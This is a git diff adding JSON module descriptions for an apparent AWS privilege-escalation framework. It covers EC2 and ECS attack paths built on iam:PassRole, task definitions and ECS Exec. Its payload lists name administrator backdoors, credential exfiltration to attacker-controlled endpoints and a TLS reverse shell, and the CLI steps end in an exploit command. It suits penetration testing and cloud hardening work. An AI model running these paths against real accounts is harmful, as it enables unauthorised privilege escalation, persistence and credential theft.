+      "description": "IAM user or role ARN/name to receive elevated permissions (used by backdoor/attach-policy payload)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "WAIT_FOR_POLICY",
+      "description": "Poll for IAM policy attachment after instance launch (up to 5 minutes, from demo_attack.sh)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore original default version after execution",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via EC2 user-data",
+      "slug": "ec2-backdoor-attach-policy",
+      "qualifiedName": "ec2:backdoor/attach-policy",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an existing IAM user via EC2 user-data",
+      "slug": "ec2-backdoor-create-access-key",
+      "qualifiedName": "ec2:backdoor/create-access-key",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and custom trust policy via EC2 user-data",
+      "slug": "ec2-backdoor-create-role",
+      "qualifiedName": "ec2:backdoor/create-role",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and optional console/programmatic access via EC2 user-data",
+      "slug": "ec2-backdoor-create-user",
+      "qualifiedName": "ec2:backdoor/create-user",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via EC2 user-data",
+      "slug": "ec2-backdoor-update-role-trust",
+      "qualifiedName": "ec2:backdoor/update-role-trust",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via EC2 user-data",
+      "slug": "ec2-exfil-https",
+      "qualifiedName": "ec2:exfil/https",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate EC2 instance role credentials to an attacker-controlled S3 bucket via user-data",
+      "slug": "ec2-exfil-s3",
+      "qualifiedName": "ec2:exfil/s3",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell via EC2 user-data",
+      "slug": "ec2-revshell-tls",
+      "qualifiedName": "ec2:revshell/tls",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ec2-005",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set LAUNCH_TEMPLATE_NAME target-launch-template",
+    "pathrunner set ASG_NAME target-auto-scaling-group",
+    "pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ec2-005",
+  "gifs": [
+    {
+      "name": "ec2-005",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-001.json b/docs/pathrunner/data/modules/ecs-001.json
new file mode 100644
index 00000000..a6de7461
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-001.json
@@ -0,0 +1,167 @@
+{
+  "id": "ecs-001",
+  "name": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition + ecs:CreateService",
+  "description": "Create an ECS cluster, register a task definition with a privileged role, and launch it as a Fargate service to execute code with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole-createcluster-createservice",
+    "exploit/ecs_passrole_createcluster_createservice"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN that trusts ecs-tasks.amazonaws.com"
+      },
+      {
+        "permission": "ecs:CreateCluster"
+      },
+      {
+        "permission": "ecs:RegisterTaskDefinition"
+      },
+      {
+        "permission": "ecs:CreateService"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Auto-detect default VPC"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Auto-detect subnet for Fargate"
+      },
+      {
+        "permission": "ecs:DescribeServices",
+        "description": "Monitor service status"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution"
+      },
+      {
+        "permission": "ecs:ListTasks",
+        "description": "List tasks in service"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover passable roles"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com with desired permissions"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, ecs:CreateCluster, ecs:RegisterTaskDefinition, and ecs:CreateService"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-001",
+      "url": "https://pathfinding.cloud/paths/ecs-001"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the ECS task (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "Name for the new ECS cluster to create",
+      "required": false,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for Fargate task networking (auto-detects default VPC if not set)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "TASK_FAMILY",
+      "description": "ECS task definition family name",
+      "required": false
+    },
+    {
+      "name": "SERVICE_NAME",
+      "description": "ECS service name",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image for the task (default: public.ecr.aws/docker/library/alpine:latest)",
+      "required": false,
+      "default": "public.ecr.aws/docker/library/alpine:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up ECS cluster, service, and task definition after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-001",
+  "gifs": [
+    {
+      "name": "ecs-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-002.json b/docs/pathrunner/data/modules/ecs-002.json
new file mode 100644
index 00000000..197d0bb7
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-002.json
@@ -0,0 +1,160 @@
+{
+  "id": "ecs-002",
+  "name": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition + ecs:RunTask",
+  "description": "Create an ECS cluster, register a task definition with a privileged role, and run it on Fargate to execute attacker-controlled container commands with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole-createcluster",
+    "exploit/ecs_passrole_createcluster"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must trust ecs-tasks.amazonaws.com"
+      },
+      {
+        "permission": "ecs:CreateCluster",
+        "description": "Must be able to create ECS clusters"
+      },
+      {
+        "permission": "ecs:RegisterTaskDefinition",
+        "description": "Must be able to register new task definitions"
+      },
+      {
+        "permission": "ecs:RunTask",
+        "description": "Must be able to run tasks on the cluster"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Find VPCs for Fargate network configuration"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Find subnets for Fargate network configuration"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution status"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions"
+    ],
+    "lateral": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-002",
+      "url": "https://pathfinding.cloud/paths/ecs-002"
+    },
+    {
+      "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
+      "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the ECS task (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS cluster and task deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "Name for the new ECS cluster to create",
+      "required": false,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for Fargate network configuration (will auto-detect from default VPC if not specified)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "TASK_FAMILY",
+      "description": "ECS task definition family name",
+      "required": false
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image to use for the task",
+      "required": false,
+      "default": "amazon/aws-cli:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete cluster and deregister task definition after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-002",
+  "gifs": [
+    {
+      "name": "ecs-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-003.json b/docs/pathrunner/data/modules/ecs-003.json
new file mode 100644
index 00000000..d3749408
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-003.json
@@ -0,0 +1,170 @@
+{
+  "id": "ecs-003",
+  "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:CreateService",
+  "description": "Register an ECS task definition with a privileged role and launch it as a Fargate service to execute code with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole-createservice",
+    "exploit/ecs_passrole_createservice"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN that trusts ecs-tasks.amazonaws.com"
+      },
+      {
+        "permission": "ecs:RegisterTaskDefinition"
+      },
+      {
+        "permission": "ecs:CreateService"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Auto-detect default VPC"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Auto-detect subnet for Fargate"
+      },
+      {
+        "permission": "ecs:ListClusters",
+        "description": "Discover available ECS clusters"
+      },
+      {
+        "permission": "ecs:DescribeServices",
+        "description": "Monitor service status"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution"
+      },
+      {
+        "permission": "ecs:ListTasks",
+        "description": "List tasks in service"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover passable roles"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An ECS cluster must exist in the account",
+      "A role must exist that trusts ecs-tasks.amazonaws.com with desired permissions"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, ecs:RegisterTaskDefinition, and ecs:CreateService"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-003",
+      "url": "https://pathfinding.cloud/paths/ecs-003"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the ECS task (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CLUSTER_ARN",
+      "description": "ECS cluster ARN or name to create the service on",
+      "required": true,
+      "mockValue": "arn:aws:ecs::123456789012:cluster/target-ecs-cluster"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for Fargate task networking (auto-detects default VPC if not set)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "TASK_FAMILY",
+      "description": "ECS task definition family name",
+      "required": false
+    },
+    {
+      "name": "SERVICE_NAME",
+      "description": "ECS service name",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image for the task (default: amazon/aws-cli:latest)",
+      "required": false,
+      "default": "amazon/aws-cli:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up ECS service and task definition after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set CLUSTER_ARN arn:aws:ecs::123456789012:cluster/target-ecs-cluster",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-003",
+  "gifs": [
+    {
+      "name": "ecs-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-004.json b/docs/pathrunner/data/modules/ecs-004.json
new file mode 100644
index 00000000..93735ddf
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-004.json
@@ -0,0 +1,164 @@
+{
+  "id": "ecs-004",
+  "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:RunTask",
+  "description": "Register an ECS task definition with a privileged role and run it on Fargate to execute attacker-controlled container commands with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole",
+    "exploit/ecs_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in the Resource section"
+      },
+      {
+        "permission": "ecs:RegisterTaskDefinition",
+        "description": "Must have permission to register new task definitions"
+      },
+      {
+        "permission": "ecs:RunTask",
+        "description": "Must have permission to run tasks in the target cluster"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ecs:DescribeServices",
+        "description": "Monitor service status and verify service creation"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution status"
+      },
+      {
+        "permission": "ecs:ListTasks",
+        "description": "List tasks in the cluster to get task ARN"
+      },
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Find VPCs for Fargate network configuration"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Find subnets for Fargate network configuration"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions"
+    ],
+    "lateral": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-004",
+      "url": "https://pathfinding.cloud/paths/ecs-004"
+    },
+    {
+      "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
+      "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the ECS task (must trust ecs-tasks.amazonaws.com) [auto]",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "Name of an existing ECS cluster to run the task on (defaults to 'default' cluster)",
+      "required": false,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for Fargate network configuration (will auto-detect from default VPC if not specified)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "TASK_FAMILY",
+      "description": "ECS task definition family name (auto-generated if not specified)",
+      "required": false
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image to use for the task",
+      "required": false,
+      "default": "public.ecr.aws/docker/library/alpine:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Deregister the task definition after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-004",
+  "gifs": [
+    {
+      "name": "ecs-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-005.json b/docs/pathrunner/data/modules/ecs-005.json
new file mode 100644
index 00000000..bb70a73f
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-005.json
@@ -0,0 +1,160 @@
+{
+  "id": "ecs-005",
+  "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:StartTask",
+  "description": "Register an ECS task definition with a privileged role and start it on an EC2 container instance to execute attacker-controlled container commands with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole-registertaskdefinition-starttask",
+    "exploit/ecs_registertaskdefinition_starttask"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in the Resource section"
+      },
+      {
+        "permission": "ecs:RegisterTaskDefinition",
+        "description": "Must have permission to register new task definitions"
+      },
+      {
+        "permission": "ecs:StartTask",
+        "description": "Must have permission to start tasks on an EC2 container instance"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ecs:ListClusters",
+        "description": "Discover available ECS clusters"
+      },
+      {
+        "permission": "ecs:ListContainerInstances",
+        "description": "Discover EC2 container instances in the cluster"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution status"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An ECS cluster must exist with at least one registered EC2 container instance",
+      "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions"
+    ],
+    "lateral": [
+      "An ECS cluster must exist with at least one registered EC2 container instance",
+      "A role must exist that trusts ecs-tasks.amazonaws.com"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-005",
+      "url": "https://pathfinding.cloud/paths/ecs-005"
+    },
+    {
+      "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
+      "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the ECS task (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "ECS cluster name or ARN containing the EC2 container instance",
+      "required": true,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "CONTAINER_INSTANCE_ARN",
+      "description": "ARN of the EC2 container instance to start the task on",
+      "required": true,
+      "mockValue": "arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "TASK_FAMILY",
+      "description": "ECS task definition family name",
+      "required": false
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image to use for the task",
+      "required": false,
+      "default": "amazon/aws-cli:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Deregister task definition after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-005",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set CLUSTER_NAME target-ecs-cluster",
+    "pathrunner set CONTAINER_INSTANCE_ARN arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-005",
+  "gifs": [
+    {
+      "name": "ecs-005",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-006.json b/docs/pathrunner/data/modules/ecs-006.json
new file mode 100644
index 00000000..62e50007
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-006.json
@@ -0,0 +1,127 @@
+{
+  "id": "ecs-006",
+  "name": "ecs:ExecuteCommand + ecs:DescribeTasks",
+  "description": "Execute a command in a running ECS task via ECS Exec to retrieve the task role's temporary credentials from the container metadata endpoint",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-executecommand",
+    "exploit/ecs_executecommand"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-006",
+  "permissions": {
+    "required": [
+      {
+        "permission": "ecs:ExecuteCommand",
+        "description": "Must have permission on ECS tasks in clusters with ECS Exec enabled"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Required by the AWS CLI to retrieve the container runtime ID for establishing the SSM session"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ecs:ListClusters",
+        "description": "Helpful for discovering ECS clusters in the account"
+      },
+      {
+        "permission": "ecs:ListTasks",
+        "description": "Helpful for discovering task ARNs in the target cluster"
+      },
+      {
+        "permission": "ecs:DescribeTaskDefinition",
+        "description": "Useful for viewing the task definition to discover the task role ARN"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An ECS service must have ECS Exec explicitly enabled (enable_execute_command = true)",
+      "The service must have at least one running task with an administrative task role",
+      "The ECS Exec agent (SSM agent) must be running and healthy in the container",
+      "The AWS Systems Manager Session Manager plugin must be installed locally"
+    ],
+    "lateral": [
+      "An ECS service must have ECS Exec explicitly enabled (enable_execute_command = true)",
+      "The service must have at least one running task with a privileged task role",
+      "The ECS Exec agent (SSM agent) must be running and healthy in the container",
+      "The AWS Systems Manager Session Manager plugin must be installed locally"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-006",
+      "url": "https://pathfinding.cloud/paths/ecs-006"
+    },
+    {
+      "title": "AWS - Using Amazon ECS Exec to access containers",
+      "url": "https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/"
+    },
+    {
+      "title": "HackTricks - AWS ECS Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/index.html"
+    }
+  ],
+  "relatedPaths": [
+    "ecs-001",
+    "ecs-002",
+    "ecs-003",
+    "ecs-004",
+    "ecs-005"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API",
+      "T1059 - Command and Scripting Interpreter"
+    ]
+  },
+  "options": [
+    {
+      "name": "CLUSTER_NAME",
+      "description": "ECS cluster name or ARN containing the target task",
+      "required": true,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "TASK_ARN",
+      "description": "Target ECS task ARN to execute command on (auto-discovered if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:resource/target-resource"
+    },
+    {
